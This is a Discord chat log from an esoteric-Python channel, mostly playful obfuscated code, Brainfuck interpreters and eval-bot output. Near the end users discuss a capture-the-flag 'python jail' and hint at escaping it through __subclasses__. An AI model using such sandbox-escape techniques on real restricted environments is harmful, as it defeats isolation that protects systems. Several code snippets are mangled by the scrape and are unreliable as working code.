#esoteric-python
1 messages · Page 117 of 1
Uhhh, how can I learn to do cursed Python?
There's already been one somewhere in this channel
!pypi PyForest
Implicit imports!
Oooo cool
Hey @tribal moon!
It looks like you tried to attach a Python file - please use a code-pasting service such as https://paste.pythondiscord.com
Is it complete functionality or diluted functionality?
If that's complete or at least concentrated, I might say that's an entire sub language of python.
Is it Turing complete?
It's quite chunky did you write it or generate it?
well it was generated
but I wrote the generator
it won't always work tho
I wrote the generator a long time idk how to explain it
it won't work if python decides to change the name of types and stuff
I tested it on 3.10 and it works
bye bye now
K
I made a pseudo-brainfuck generator
Just to encode messages into arbitrarily long integers and decode back, but not in a logical way
pyarmor is very easily breakable
Im currently working on an obfuscator that is hoping to replicate the popular javascript obfuscator, JScrambler, but in python
especially with the new match statements
trying to mess around with __import__ a bit more, when working normally i can do from foo import bar, and just use bar to mean the same as foo.bar would.
how can i do this using __import__? ive tried __import__("foo", fromlist=["bar"]) and __import__("bar", fromlist=["foo"]) and __import__("foo.bar", fromlist=["foo"]) but none seem to work
bonus points if you can tell me how to work in as into there too
On the other hand, the statement from spam.ham import eggs, sausage as saus results in
_temp = __import__('spam.ham', globals(), locals(), ['eggs', 'sausage'], 0)
eggs = _temp.eggs
saus = _temp.sausage
ah okay so theres a little bit that goes on outside of __import__ to get it working
what does that 0 do?
level specifies whether to use absolute or relative imports. 0 (the default) means only perform absolute imports. Positive values for level indicate the number of parent directories to search relative to the directory of the module calling __import__() (see PEP 328 for the details)
And yeah the assignment of __import acts as the alias
thats a bit different than what i was thinking it did, thank you
No problem
!e
from sys import modules
class A:
def __init__(self):
self.b = 1
modules["a"] = A()
from a import b
print(b)
@viscid nymph :white_check_mark: Your eval job has completed with return code 0.
1
!e
!eval [code]
Can also use: e
*Run Python code and get the results.
This command supports multiple lines of code, including code wrapped inside a formatted code
block. Code can be re-evaluated by editing the original message within 10 seconds and
clicking the reaction that subsequently appears.
We've done our best to make this sandboxed, but do let us know if you manage to find an
issue with it!*
!e print(1)
@sick hound :white_check_mark: Your eval job has completed with return code 0.
1
I figured I'd ask in here because it's a bit of an odd question, is there a hacky way to return a break?
ik just straight up doing
def foo():
return break if condition else None
while True:
foo()```
wouldn't work but is there a way to send a signal without having a conditional break in the loop or an exec?
exceptions are generally a way
I was thinking about that but I already have to conditionally break out of 3 loops (io/player turn/game), the way im running my tests currently isn't clean at all https://github.com/The1Divider/chess/blob/main/main.py and i've come to the conclusion to either move them to their own file/class, import the game and monkeypatch the player input/input, or separate it and use some sort of signal bus
Not to say this would be super messy, but a single method call would be preferable as I've already got to check if the tests are runnning each time
# io loop
if bus.io_break or bus.player_turn_break or bus.game_break:
break```
there is also the state machine solution
class State(Enum):
LOOP = 0
NO_LOOP = 1
```and then the other objects can set the state of whatever the parent object is doing
my eyes hurt just from looking at the code
||but well what did i expect when i entered the #esoteric-python channel||
Return break is implied in raise. Wrap the while loop in try, then catch a custom exception which you raise within foo
You can u can raise an error which will normally not occur in the function, like for example if your function will never get a ZeroDivisionError, If you seriouslly don't want conditional break in the loop or an exec
def foo():
return 1/0 if condition else None
with __import__('contextlib').suppress(ZeroDivisionError):
while True:
foo()
I’m already raising custom errors (try/except would probably be better than suppress in this case tho)
I think a state machine would probably be the cleanest solution tho, that’s what I meant by bus
ofc, i tot u didnt want try and except
yeah
idea:
a compiler that interprets brainfuck, and takes its output as binary machine code
wait hang on...
current cell value: 6
next instruction: ,
does it override, add, pop input index 6 or pop from file id 6?
you now have an undecidable compiler
have fun with infinite compile times
Unless you know in advance that the brainfuck program is a regular compiler.
tbh i use brainfuck more for encoding and decoding than any actual calculations.
it's good for encryption tho
!e ```py
#import('sys').setrecursionlimit(10**9)
brainfuck=lambda code,input:[(input:=[ord(c)for c in input]),(a:=import('collections').defaultdict(int)),(size:=8),(state:=[0]),(pointer:=[0]),(position:=[0]),(_:=lambda:position[0]<len(code) and ([(instruction:={'+':lambda i:[a.setitem(i,a[i]+1),a.setitem(i,a[i]%(1<<size)),[i,0]][-1],'-':lambda i:[a.setitem(i,a[i]-1),a.setitem(i,a[i]%(1<<size)),[i,0]][-1],'<':lambda i:[i-1,0],'>':lambda i:[i+1,0],'.':lambda i:[print(end=chr(a[i])),[i,0]][-1],',':lambda i:[a.setitem(i,input.pop(a[i])if len(input)>=a[i]else 0),[i,0]][-1],'[':lambda i:[i,int(not(a[i]))],']':lambda i:[i,-int(bool(a[i]))]}[code[position[0]]]),(state.setitem(0,state[0]-1)if code[position[0]]==']'else state.setitem(0,state[0]+1)if code[position[0]]=='['else None)if state[0]else [(d:=instruction(pointer[0])),pointer.setitem(0,d[0]),state.setitem(0,d[1])],position.setitem(0,position[0]+1-2*(state[0]<0))],[None if len(code)<position[0]<0 else _()]))]-1
brainfuck(">>>+[[-]>>[-]++>+>+++++++[<++++>>++<-]++>>+>+>+++++[>++>++++++<<-]+>>>,<++[[>[->>]<[>>]<<-]<[<]<+>>[>]>[<+>-[[<+>-]>]<[[[-]<]++<-[<+++++++++>[<->-]>>]>>]]<<]<]<[[<]>[[>]>>[>>]+[<<]<[<]<+>>-]>[>]+[->>]<<<<[[<<]<[<]+<<[+>+<<-[>-->+<<-[>+<[>>+<<-]]]>[<+>-]<]++>>-->[>]>>[>>]]<<[>>+<[[<]<]>[[<<]<[<]+[-<+>>-[<<+>++>-[<->[<<+>>-]]]<[>+<-]>]>[>]>]>[>>]>>]<<[>>+>>+>>]<<[->>>>>>>>]<<[>.>>>>>>>]<<[>->>>>>]<<[>,>>>]<<[>+>]<<[+<<]<][++++++++++[>+++>+++++++>++++++++>++++++++++>+++++++++++<<<<<-]>>++.-->>+.+++++++..-------->+.-<<<<++.-->>+++++++.------->>+.+++.----<++++++++.--------.<<<+++.]",input="++++++++++[>+++>+++++++>++++++++>++++++++++>+++++++++++<<<<<-]>>++.-->>+.+++++++..-------->+.-<<<<++.-->>+++++++.------->>+.+++.----<++++++++.--------.<<<+++.")
@floral meteor :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 5, in <module>
003 | File "<string>", line 3, in <lambda>
004 | File "<string>", line 3, in <lambda>
005 | File "<string>", line 3, in <lambda>
006 | [Previous line repeated 996 more times]
007 | RecursionError: maximum recursion depth exceeded while calling a Python object
oh I see
to prevent something like that happening, try going for this general approach for a while loop in a one-liner
lambda foo:[bar, {yay for _ iter(halt_state,True)}, output()][-1]
!e ```py
_00 = import('collections').defaultdict;
_01 = chr,ord;
02 = int;=_02()==_02();
_03 = len;
_04 = lambda _0:print (end=_01-);
_05:02 = <<((0x00for x in 06.cell_size)//(<<)+);
_06 = """>>>+[[-]>>[-]++>+>+++++++[<++++>>++<-]++>>+>+>+++++[>++>++++++<<-]+>>>,<++[[>[->>]<[>>]<<-]<[<]<+>>[>]>[<+>-[[<+>-]>]<[[[-]<]++<-[<+++++++++>[<->-]>>]>>]]<<]<]<[[<]>[[>]>>[>>]+[<<]<[<]<+>>-]>[>]+[->>]<<<<[[<<]<[<]+<<[+>+<<-[>-->+<<-[>+<[>>+<<-]]]>[<+>-]<]++>>-->[>]>>[>>]]<<[>>+<[[<]<]>[[<<]<[<]+[-<+>>-[<<+>++>-[<->[<<+>>-]]]<[>+<-]>]>[>]>]>[>>]>>]<<[>>+>>+>>]<<[->>>>>>>>]<<[>.>>>>>>>]<<[>->>>>>]<<[>,>>>]<<[>+>]<<[+<<]<]""","""++++++++++[>+++>+++++++>++++++++>++++++++++>+++++++++++<<<<<-]>>++.-->>+.+++++++..-------->+.-<<<<++.-->>+++++++.------->>+.+++.----<++++++++.--------.<<<+++.""";
def _07(0,00=''):
00=[_01_for _0 in 00];
1=_00 (_02);
2=3=4=_02();
def _0(_0):
1[0]+=;
1[_0]%=_05;
return _0,_02();
def _1(_0):
1[0]-=;
1[_0]%=_05;
return _0,_02()
2 = lambda 0:(0-,-);
3 = lambda 0:(0--,-);
def _4(_0):
_04(1[_0]);
return _0,_02();
def _5(_0):
_1=1[_0];
_2=00.pop(_1)if _03(00)>_1 else _02()
1[_0]=_2
return _0,_02();
def _6(_0):
_1 =+ (not 1[_0]);
return _0,_1;
def _7(_0):
_1 =- (not not 1[_0]);
return _0,1;
5 = '[',']';
while 03(0)>3>=02():
6 = {'+':0,'-':1,'<':2,'>':3,'.':4,',':5,5[-]:6,5[]:7};
if 0[3]in 6:
7 = 6[0[3]];
if 4:
if 0[3]==5[] :4-=;
elif 0[3]==5[-]:4+=;
else: 2,4 = 7(2);
3+=-(<<)(4<_02());
_07(_06);
@floral meteor :warning: Your eval job timed out or ran out of memory.
[No output]
it thoncc, but the code is too thicc
Jot is a better Gödelization language
(lambda _00,_01='',_02=__import__('collections').defaultdict(int):(lambda _03,_04,_05='+-<>.,[]':(lambda _06=[0,0,0],_07={a:b for a,b in zip(_05,(lambda _,_01:[lambda _0:[_(_02,_0,(_02[_0]+1)%_04),(_0,0)][0-1],lambda _0:[_(_02,_0,(_02[_0]-1)%_04),(_0,0)][0-1],lambda _0:(_0-1,0),lambda _0:(_0+1,0),lambda _0:[_03(_02[_0]),(_0,0)][0-1],lambda _0:(lambda _1:[_(_02,_0,_01.pop(_1)if len(_01)>_1 else 0),(_0,0)][0-1])(_02[_0]),lambda _0:(_0,+(not (_02[_0]))),lambda _0:(_0,-(bool(_02[_0])))])(list.__setitem__,[*_01]))}:({([lambda _0:[lambda:(lambda _1,_2:[_0(0,_1),_0(1+1,_2)])(*_07[_00[_06[1]]](_06[0])),lambda:([lambda _1:_0(1+1,_1)][_00[_06[1]]==_05[1+1+1+1+1+1+1]](_06[1+1]-1),[lambda _1:_0(1+1,_1)][_00[_06[1]]==_05[1+1+1+1+1+1]](_06[1+1]+1))][bool(_06[1+1])],lambda _0:None][_00[_06[1]]not in _05](_06.__setitem__),(_06.__setitem__(1,1+_06[1]-(_06[1+1]<0)*(1+1))))for _ in iter(lambda:len(_00)>_06[1]>=0,1==0)}))())(lambda _0:print (end=chr(_0)),1<<((0x00for x in utf-8)//2+1)
))("++++++++++[>+++>+++++++>++++++++>++++++++++>+++++++++++<<<<<-]>>++.-->>+.+++++++..-------->+.-<<<<++.-->>+++++++.------->>+.+++.----<++++++++.--------.<<<+++.")
bruh there's something wrong with it
sys.setrecursionlimit(99999)
```?
is it possible to change from dot to bracket notation?
a = globals()["__builtins__"].getattr
_print = a(globals()["__builtins__"], 'print')
@sick hound like this? ```py
vars(globals()["builtins"])["getattr"]
<built-in function getattr>```
😮
never knew you could do that
!e
gettrace = vars(globals()["__builtins__"])["getattr"](vars(globals()["__builtins__"])["getattr"](globals()["__builtins__"], '__import__')('sys'), 'gettrace', None)
print(gettrace)
@sick hound :white_check_mark: Your eval job has completed with return code 0.
<built-in function gettrace>
its basically equivilant to globals()["__builtins__"].__dict__["getattr"]
what version does !e run off of
!e
aLkbGSHzKx=11
while(aLkbGSHzKx):
match(aLkbGSHzKx):
case 32:
aLkbGSHzKx=17
case 40:
aLkbGSHzKx=(19,8)[0]
case 43:
aLkbGSHzKx=40
case 49:
aLkbGSHzKx=26
case 26:
print('hi')
break
case 19:
aLkbGSHzKx=22
case 5:
aLkbGSHzKx=(20,33)[0]
case 14:
aLkbGSHzKx=49
case 45:
aLkbGSHzKx=21
case 21:
aLkbGSHzKx=43
case 17:
aLkbGSHzKx=5
case 20:
aLkbGSHzKx=14
case 22:
aLkbGSHzKx=32
case 11:
aLkbGSHzKx=(45,35)[0]
damn
@sick hound :x: Your eval job has completed with return code 1.
001 | File "<string>", line 3
002 | match(aLkbGSHzKx):
003 | ^
004 | SyntaxError: invalid syntax

>>> <built-in function print>
Whats the most complicated/unefficient way to get True you can think of?
Mine ist a variation of ```py
print(all([a*a == a**2 for a in range(1000000)]))
!e ```py
print(all([a*a == a**2 for a in range(10000000)]))
@lime bane :warning: Your eval job timed out or ran out of memory.
[No output]
not all(iter(random.random, 0))
this should run for a while, but not run out of memory
("a while")
weeks?
!```py
from random import random
print(iter(0.0,0))
print(all(iter(0.0, 0)))
!e
from random import random
print(iter(random,0))
print(all(iter(random, 0)))
@lime bane :x: Your eval job timed out or ran out of memory.
<callable_iterator object at 0x7f557d1f4f10>
!d iter
iter(object[, sentinel])```
Return an [iterator](https://docs.python.org/3/glossary.html#term-iterator) object. The first argument is interpreted very differently depending on the presence of the second argument. Without a second argument, *object* must be a collection object which supports the iteration protocol (the [`__iter__()`](https://docs.python.org/3/reference/datamodel.html#object.__iter__ "object.__iter__") method), or it must support the sequence protocol (the [`__getitem__()`](https://docs.python.org/3/reference/datamodel.html#object.__getitem__ "object.__getitem__") method with integer arguments starting at `0`). If it does not support either of those protocols, [`TypeError`](https://docs.python.org/3/library/exceptions.html#TypeError "TypeError") is raised. If the second argument, *sentinel*, is given, then *object* must be a callable object. The iterator created in this case will call *object* with no arguments for each call to its [`__next__()`](https://docs.python.org/3/library/stdtypes.html#iterator.__next__ "iterator.__next__") method; if the value returned is equal to *sentinel*, [`StopIteration`](https://docs.python.org/3/library/exceptions.html#StopIteration "StopIteration") will be raised, otherwise the value will be returned.
Never mind you had a not at the beginning.
!d all
hello ppl
i need a help
which is
when i use pyarmor obfuscate
there is 2 files generated
on the pytransfrom folder
which can be used
to decompile
my source
and obv i dont want that
how to hide those 2 files?
Does deleting them not work?
If you're on Windows, you can hide files in the properties menu for the file. On Linux, you rename them so that they have . as their first character. (Not sure about OSX.)
We use pyarmor to encrypt whole project and never found "2 files in pytransform folder"
what's the filename?
deleting them makes the obfuscated file to not work
pytransform.dll is pyarmor runtime as I know
which can be used to decompile files
you need it to run your obfuscated files
I don't get it, pyarmor need to decrypt your methods on-the-fly to run it
there is no way to obfuscate python in such a way that somebody running the file can't find the source
actually nothing can stop others to reveal your program logic, as long as running on your user's device
on the runtime its still decrypted
you can only make it harder and harder
your doing the most then
yes, when the method be called, pyarmor decrypt it on the fly, and run it, then encrypt it again
so there must be some time window to get it
i will just use pyarmor pack
it's basically same, pyinstaller will be used when you use pack command
but it's enough to protect your source code from most scenario IMO 😄
And this can be proven mathematically.
NameError: name 'pyarmor' is not defined
guys?
when i use this cmd
pyarmor pack -e " -F" filename.py
and when its a exe
it gives that error
why
i mean it compiles to bytecode, losing information
i get your point though
Anyone here got any experience with pickle/cpickle? Want to save instantiated classes as text from object -> str
Reading the docs but just wondering if anyone knew off the bat.
Would be super elegant solution instead of EOL type stuff with regex replacement.
Could you elaborate on this part "Want to save instantiated classes as text from object -> str"
Sure, give me a sec to write up a bit more. It's honestly a stretch.
I am currently investigating if I can pickle an instance of an class -> (obj)
I am reading through the documentation to see if I can dynamically instantiate a class, and then write it to human readble python.
I have an AWS CDK stack, that gets re-used, and it's a pita to replace all the details, for standing up new stacks (cdk wraps cloudformation)
It's not looking like that can happen. I'll probably have to do regex or json for the parameters.
I think json would probably be the easiest way
Is it not possible to just pickle the classes to a file and load them from the file?
I have to store them for historical purposes, in human readable format >.>
pickle works with any reconstruct-able objects, so if your object not related with any local resources(like file descriptor), your can serialize it to pickle format(which is byte based command seq)
and unpickle untrusted data will cause security issue. since it is "command" 😄
I'm pretty close to convincing my team we can use this instead of a giant for loop. They want to operate on all nearly identical cdk stacks with a for loop. Which I think is a terrible idea as disaster is always step away.
Could implement a versioning scheme based on filenames too.
Could do one offs with polymorph.
So many ideas.
these concept is pretty similar, so..use something exist rather than invent new wheels if you have no special needed
I thought you needed it to be human readable
I do. I'm trying to convince them not to worry about that, and focus on the reference architecture as a source of truth.
Ah
I might be pissing in the wind.
Well yeah if they don't really need it to be readable then convince them haha
lol
The level of experience on the team is mixed. We had a meeting two days back about whether or not we should use oo going forward... was a skosh on the disheartening side.
I think we have one data science person that sort of only understands functions.
I bet that's an interesting dynamic
I bet haha
I just worked on a job with team members either being in CS or ME and that was difficult
Lots of explaining why the ME team member's ideas wouldn't work haha
then vote somebody to make final decision
I didn't finish my CS, was making 120k in devops land.
was like, ah well, fuck it, some_college()
Thanks
I may end up going back. I'm a software eng right now, but started systems many years ago. So have like decades of experience that I normally use to get jobs. Software eng jobs are a lot harder to get than nix and devops jobs.
The interviews are like, hey implement x algorithm without the internet!
shit_bricks.png
I think those are pretty ridiculous
Depending on what it is
If someone asked me to implement a linked list or something I think I'd be okay
spam every company until they don't ask algorithm
They are, but alpha nerd coders have a chub for it.
True haha
If you end up in a team where everyone is low ego, it's so cool.
If not, well the phrase 'can we take this offline' will become your best friend.
😄
lol
My current job dynamic is a small team 4-5 including me and everyone there is much older than I am haha
Also a very terrible, niche programming language
Hmm. Older coders.... niche language... Delphi or Cobol?
- Laughs in OpenEdge ABL *
A swing and a miss.
I've honestly forgotten dozens of DSLs for old hardware and stuff over the years. I wonder if programming will be the same.
How long have you been programming? lol
Less than a year in python, a bit over a year overall
Unless you count graphics calculator
You probably weren't asking me...
Challenge for you all:
Design and implement an esolang based on python chained equality/inequalities, where the exit code is of course the returned Boolean from this monstrosity
future is pure YAML
The implicit and is the key
That's the other one, this one uses a halting state iterator, but it is literally doing nothing
!e ```py
(lambda _00,_01='',_02=import('collections').defaultdict(int):(lambda _03,_04,_05='+-<>.,[]':(lambda _06,_07:({([lambda _0,_1,_2,_3:[lambda:(lambda _4,_5:[_0(0,_4),_0(2,5)]and None)(_07_00[_2]),lambda:((lambda _6,_7:_0(2,_7))if _00[_2]==_05[7]else(lambda _6,_7:_0(2,_6)if _00[_2]==_05[6]else lambda _6,_7:print(end='|')))(_3+1,_3-1)][bool(_3)],lambda _0,:lambda*__:None]_00[_06[1]]not in _05(),(_06.setitem(1,1+_06[1]-(_06[2]<0)*2)))for _ in iter(lambda:len(_00)>_06[1]>=0,1==0)}and _06[2]and(()for()in()).throw(Exception('INVALID HALTING STATE'))))([0]3,{a:b for a,b in zip(_05,(lambda _00,_01:[lambda _0:[_00(_02,_0,(_02[_0]+1)%_04),(_0,0)][-1],lambda _0:[_00(_02,_0,(_02[_0]-1)%_04),(_0,0)][-1],lambda _0:(_0-1,0),lambda _0:(_0+1,0),lambda _0:[_03(_02[_0]),(_0,0)][-1],lambda _0:(lambda _1:[_00(_02,_0,_01.pop(_1)if len(_01)>_1 else 0),(_0,0)][-1])(_02[_0]),lambda _0:(_0,+(not (_02[_0]))),lambda _0:(_0,-(bool(_02[_0])))])(import('collections').defaultdict.setitem,[_01]))}))(lambda _0:print (end=chr(_0)if _0>=32 else '['+str(_0)+']'),1<<((0x00for x in utf-8)//2+1)))("++++++++++[>+++>+++++++>++++++++>++++++++++>+++++++++++<<<<<-]>>++.-->>+.+++++++..-------->+This is a comment.-<<<<++.-->>+++++++.------->>+.+++.----<++++++++.--------.<<<+++.")
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
Hello World!
!e can you get more explicitly utf-8 than this? ```py
print(1<<((0x00for x in utf-8)//2+1))
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
256
!e
!eval [code]
Can also use: e
*Run Python code and get the results.
This command supports multiple lines of code, including code wrapped inside a formatted code
block. Code can be re-evaluated by editing the original message within 10 seconds and
clicking the reaction that subsequently appears.
We've done our best to make this sandboxed, but do let us know if you manage to find an
issue with it!*
@lucid solar #bot-commands to figure out bot commands
this is python not terminal
also it doesn't allow internet connection
Oh thanks
told you
!e ```py
a = type("testing",(),{"gt":lambdas:print(0),"rgt":lambdas:print(1)})()
a>a
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
0
a < b calls b.__gt__ if a doesn't have __lt__
This is what I'm trying to get working
[snipped]
ik
that's the idea behind this
it's just i dont want list methods overriding _ methods
it's gonna be chunky
Note: ```py
...
def rgt(_0,_1):
if type(_1)is list:return _0>_0
else:pass # this is why I needed the testing
...
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
Hello World!
ok just a tweak
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
Hello World!
I'm just gonna rewrite the whole thing then
!e better version ```py
import collections ;
d = collections.defaultdict ;
class _ :
def init(0, 1= '' ,
2=d(int), 3= 1<<3):
0.00=2; 0.01= 0 ;
0.10= [*1];
0.11= 1<<3;
def getitem(0, 1) :
while 0.00[0.01]:1();
return 0 ;
def gt(0,1) :
0.00[0.01]+= 1 ;
0.00[0.01]%= 0.11;
return 1 ;
def lt(0,1) :
0.00[0.01]-= 1 ;
0.00[0.01]%= 0.11;
return 1 ;
def le(0,1) :
0.01-=1;return 1 ;
def ge(0,1) :
0.01+=1;return 1 ;
def eq(0,1) :
2 = chr(0.00[0.01 ]);
3=2 if ord(2)>31else'';
print(end=3 or '[?]');
return 1 ;
= ('' );
>>>>>>>>>> and [lambda:>=>>>>=>>>>>>>>=>>>>>>>>>=>>>>>>>>>>>=>>>>>>>>>>><=<=<=<=<=<]>=>=>>==<<>=>=>==>>>>>>>====<<<<<<<<>=>==<<=<=<=<=>>==<<>=>=>>>>>>>==<<<<<<<>=>=>==>>>==<<<<<=>>>>>>>>==<<<<<<<<==<=<=<=>>>==_ and [lambda:>=]<=>_ and [lambda:<_ and [lambda:<]<=]
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
Hello World!
Please don't do that
lol
Interresting problem in #help-avocado
builtins.class.base.subclasses() helps a lot if you can figure out how to call that without brackets or equals
unless one of them is in allowed punctuation
we did an excercise like that here recently
when you code before you drink the coffee...
from collections import defaultdict as D;
class hashable_list(list ):
def __init__(self,iterable):
x,y,z,*_fuck_the_rest = iterable
x=int(x ); y=int(y ); z=int(z );
super().__init__([x,y,z])
def __str__(self ):
r,g,b,*_fuck_the_rest = self;self[ :] =[ r,g,b ];
return f"{hex(r)[2:]:0>2s}{hex(g)[2:]:0>2s}{hex(b)[2:]:0>2s}"
def __hash__(self ):
return hash(str(self) );
def __eq__(self,other ): return[*self]==[*other ];
...
if __name__=='__main__':
open('map.bin','wb').close( );
with open('nations.csv','r')as file:matrix =[ line.split(',')for line in file ];
trans =D (lambda:len(matrix))|{hashable_list(row[2:5] ): int(row[0])for row in matrix };
cdata=get_cdata('aelstun_map_processed.png');
ids =[ [write(this,trans,matrix)for this in that]for that in cdata ];
the smiley faces are a bit distracting during debugging
!e ```py
transpose = lambda a:[[*e]for e in zip(*a)]
a = [[1,2],[3,4],[5,6]];
print(a)
print(transpose(a))
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
001 | [[1, 2], [3, 4], [5, 6]]
002 | [[1, 3, 5], [2, 4, 6]]
a convenient way of transposing without using numpy
possibly more convenient than numpy
sometimes you just need to...
r, g, b, *_fuck_the_rest = some_iterable;
instead of
r, g, b = some_iterable [:3];
it might look longer, but in the golfed version,
r,g,b,*_=s;
r,g,b=s[:3]
it's one char shorter, which means i can add a semicolon for fun
although the latter does have a cat-smiley-face in it
r,g,b = s[ :3 ]
hmm
Well the binarizor isn't throwing any errors, so I assume it's working
from collections import defaultdict as D; transpose=lambda a :[ [*e]for e in zip(*a) ];
class hashable_list(list ):
def __init__(self,iterable ):
x,y,z,*_fuck_the_rest = iterable
x=int(x ); y=int(y ); z=int(z );
super().__init__([x,y,z] );
def __str__(self ):
r,g,b,*_fuck_the_rest = self;self[ :] =[ r,g,b ];
return f"{hex(r)[2:]:0>2s}{hex(g)[2:]:0>2s}{hex(b)[2:]:0>2s}"
def __hash__(self ):
return hash(str(self) );
def __eq__(self,other ): return[*self]==[*other ];
def get_cdata(name='aelstun_map_processed.png' ):
from PIL import Image
wtf = Image.open(name );
x,y = wtf.size;
cdata=[[hashable_list(wtf.getpixel((i,j)))for i in range(x)]for j in range(y)]
wtf.close()
return cdata
def compensate(rgb,trans,matrix ):
if rgb in[*trans ]: return
if(com:=input(f"{[*rgb]=} New (Y/N)?")).lower()!='y':rgb[ :] =[ 255]*3;return
name=input("Name = ");
matrix+=[str(len(matrix)),name.title(),*[str(v)for v in rgb] ];
with open('nations.csv','w')as file:file.writelines([','.join(yay)for yay in matrix] );
def write(rgb:hashable_list,trans :D ,matrix:list[list[str]],name="map.bin" ):
compensate(rgb,trans,matrix );
id=trans[rgb];byte=bytes(chr(id),'UTF-8' );
with open(name,'ab')as file:file.write(byte );
return id;
if __name__=='__main__':
open('map.bin','wb').close()
with open('nations.csv','r')as file:matrix=[line.split(',')for line in file ];
print('loaded',max(transpose(matrix)[0]),'nations:',*transpose(matrix)[1] );
trans =D (lambda:len(matrix))|{hashable_list(row[2:5] ): int(row[0])for row in matrix };
print(trans);
cdata=get_cdata('aelstun_map_processed.png');
ids =[ [+(not not write(this,trans,matrix))for this in that]for that in cdata ];
Time to add the waitbar protocol
I'll use version 3.1
private release ;)
hmm... I think i'll make a 3.2
!e waitbar protocol 3.2 ```py
def pretty(s,n=30,c=32,f=0):
import('os').system('' );
C= f'\x1b[{f};{c}m' ;D ='\x1b[0m';
return f'{C}{s: <{n}s}{D}';
def waitbar(t,n=62 ):
from time import sleep as pause;import('os').system('' );
t=float(t ); print('['+pretty(f'WAITING {t} ',30,33) ); f=t/n;print('['+' '*n+']' );
p=lambda j:'\x1b[A'+'\x1b[D'*30+']['+pretty((str(round(j,8)).strip('0').rstrip('.')or'0')+'s left',26,c=32,f=5)+']\r\n';
for i in range(n-1 ): pause(f ); t-=t-f>0 and f;print('\x1b[A['+'\x1b[C'i+'\x1b[44m \x1b[0m'+' '(n-i-1)+']',p(t) );
pause(f ); t= 0; print('\x1b[A[\x1b[42m'+' '*n+'\x1b[0m]',p(t) );
waitbar(2);#XD THIS ISN"T GONNA WORK LOL
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
001 | [[0;33mWAITING 2.0 [0m
002 | [ ]
003 | [A[[44m [0m ] [A[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D][[5;32m1.96774194s left [0m]
004 |
005 | [A[[C[44m [0m ] [A[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D][[5;32m1.93548387s left [0m]
006 |
007 | [A[[C[C[44m [0m ] [A[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D][[5;32m1.90322581s left [0m]
008 |
009 | [A[[C[C[C[44m [0m ] [A[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D[D][[5;32m1.87096774s
... (truncated - too long, too many lines)
Full output: too long to upload
!e
import sys
print(sys.version)
@ivory fulcrum :white_check_mark: Your eval job has completed with return code 0.
001 | 3.9.5 (default, May 12 2021, 15:36:59)
002 | [GCC 8.3.0]
!e
print("this is esoteric")
@slim sonnet :white_check_mark: Your eval job has completed with return code 0.
this is esoteric
2D waitbar
I dunno why my gpu is so high tho... it's probably all discord and matlab
!e
while True:
print("lol")
!e
one = "mayonnaise"
two = "dirt"
three = "stone"
print(three[0]+one[3]+(two[2]*2)+one[2])
@ivory fulcrum :white_check_mark: Your eval job has completed with return code 0.
sorry
@sick hound :x: Your eval job has completed with return code 143 (SIGTERM).
001 | lol
002 | lol
003 | lol
004 | lol
005 | lol
006 | lol
007 | lol
008 | lol
009 | lol
010 | lol
011 | lol
... (truncated - too many lines)
Full output: too long to upload
o shit that worked...
double waitbar go brrr
maybe i should optimise this
it's taking a long time
imma get rid of the disk write
RAM can fit another 15%
still going
!e
def decorator(func):
def wrap():
print("i love cats")
func(*args)
return wrap
@decorator
def add(x, y):
return x+y
add(2, 3)
@sick hound :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 10, in <module>
003 | TypeError: wrap() takes 0 positional arguments but 2 were given
Did I share this decorator thing I made before? http://palaiologos.rocks/cg/5/ Entry 3.
It counts as esoteric, I'm sure.
(Context: this was the dwindling remains of a competition where players would write code that solved a simple problem, and then guess who wrote which code. The task was to find the index of some repeated characters in a string. The decorator submission at the bottom also base32-encodes strings, for unimportant reasons.)
Entry 2 also clocking in
Indeed, although the Entry 1 participant doesn't seem to be in this channel (and their entry was in C).
We could share some of the other equally conventional programs as well
There are many more troves of strange programs.
Should we ask permission from all of the participants first?
On one hand, the other website is public either way.
Hi! Can someone help me with escaping python jail (CTF challenge)?
Probably. What are the bars made from?
Does the cell not have a __buitins__?
Is this still the same one as yesterday?
(still very interrested in this one, but can't figure it out)
If it's the same one, it has __builtins__ = {}
also you can use basically no punctuation
(if it's still the same thing, it's this:)
import sys
import string
def jail(code):
enabled = string.ascii_lowercase + string.punctuation + string.whitespace
disabled = '+-*/%&|^~<>="\'(){}, '
alphabet = set(enabled) - set(disabled)
max_length = 400
print(f'len(alphabet) == {len(alphabet)}')
print(sys.version)
# code = input('>>> ')
if len(code) > max_length or any(char not in alphabet for char in code):
print('Bad code :(')
return
try:
exec(code, {'__builtins__': {}})
except Exception as e:
print(e)
#help-avocado message <- discussion here
Yes..
There's probably 5 people here who can do that on their sleep, and 2 more that can make an AI that can do that in it's sleep
The question is who are these closet genii
I raised this challenge last month, iirc
But not with disabled characters
Is space a disabled character?
Smh
A string of every permitted character: '\t\n\x0b\x0c\r!#$.:;?@[\\]_`abcdefghijklmnopqrstuvwxyz' (although single quotes aren't part of it).
So we don't need space.
We have vertical tabs and new page symbols for some reason?
Basically all of the whitespace we could need (except space but whatever).
Oh, we even get . and _.
So if Discord were part of the problem, we would be doomed?
so we metaprocess the string to replace spaces with tabs
Easy enough. Or we can just type them from the get-go.
? probably has no use
Still, we need to get everything set up without () or builtins.
or `
Nor $.
Perhaps we should look at what we need to do.
the backslash is allowed
I'm trying to think of ways to assign variables.
Nothing, as far as I know.
!e ```py
print(hex(ord('(')))
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
0x28
28 dammit
Given we have no = and we can't use def, the main ways to assign variables seem like class and import, both of which require builtin functions.
!e ```py
from itertools import product
